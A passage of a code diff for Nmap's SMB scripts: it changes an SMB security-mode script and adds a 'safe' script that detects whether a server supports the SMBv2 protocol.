-- Set the runlevel to above 1 to ensure this runs after the bulk of the scripts. That lets us more effectively
-- find out which account we've been using.
runlevel = 1.01
require 'smb'
require 'stdnse'
-- Check whether or not this script should be run.
hostrule = function(host)
@@ -39,6 +44,7 @@ action = function(host)
local state
local status, err
local overrides = {}
status, state = smb.start(host)
if(status == false) then
@@ -49,7 +55,7 @@ action = function(host)
end
end
status, err = smb.negotiate_protocol(state)
status, err = smb.negotiate_protocol(state, overrides)
if(status == false) then
smb.stop(state)
@@ -64,6 +70,11 @@ action = function(host)
local response = ""
local result, username, domain = smb.get_account(host)
if(result ~= false) then
response = string.format("Account that was used for smb scripts: %s\%s\n", domain, stdnse.string_or_blank(username, '<blank>'))
end
-- User-level authentication or share-level authentication
if(bit.band(security_mode, 1) == 1) then
response = response .. "User-level authentication\n"

66
scripts/smbv2-enabled.nse Normal file
View File

@@ -0,0 +1,66 @@
description = [[
Check whether or not a server is running the SMBv2 protocol.
]]
---
--@usage
-- nmap --script smbv2-enabled.nse -p445 <host>
-- sudo nmap -sU -sS --script smbv2-enabled.nse -p U:137,T:139 <host>
--
--@output
-- Host script results:
-- |_ smb-v2-enabled: Server supports SMBv2 protocol
--
-- Host script results:
-- |_ smb-v2-enabled: Server doesn't support SMBv2 protocol
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}
require 'msrpc'
require 'smb'
require 'stdnse'
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local function go(host)
local status, smbstate, result
local dialects = { "NT LM 0.12", "SMB 2.002", "SMB 2.???" }
local overrides = {dialects=dialects}
status, smbstate = smb.start(host)
if(not(status)) then
return false, "Couldn't start SMB session: " .. smb
end
status, result = smb.negotiate_protocol(smbstate, overrides)
if(not(status)) then
if(string.find(result, "SMBv2")) then
return true, "Server supports SMBv2 protocol"
end
return false, "Couldn't negotiate protocol: " .. result
end
return true, "Server doesn't support SMBv2 protocol"
end
action = function(host)
local status, result = go(host)
if(not(status)) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
else
return nil
end
end
return result
end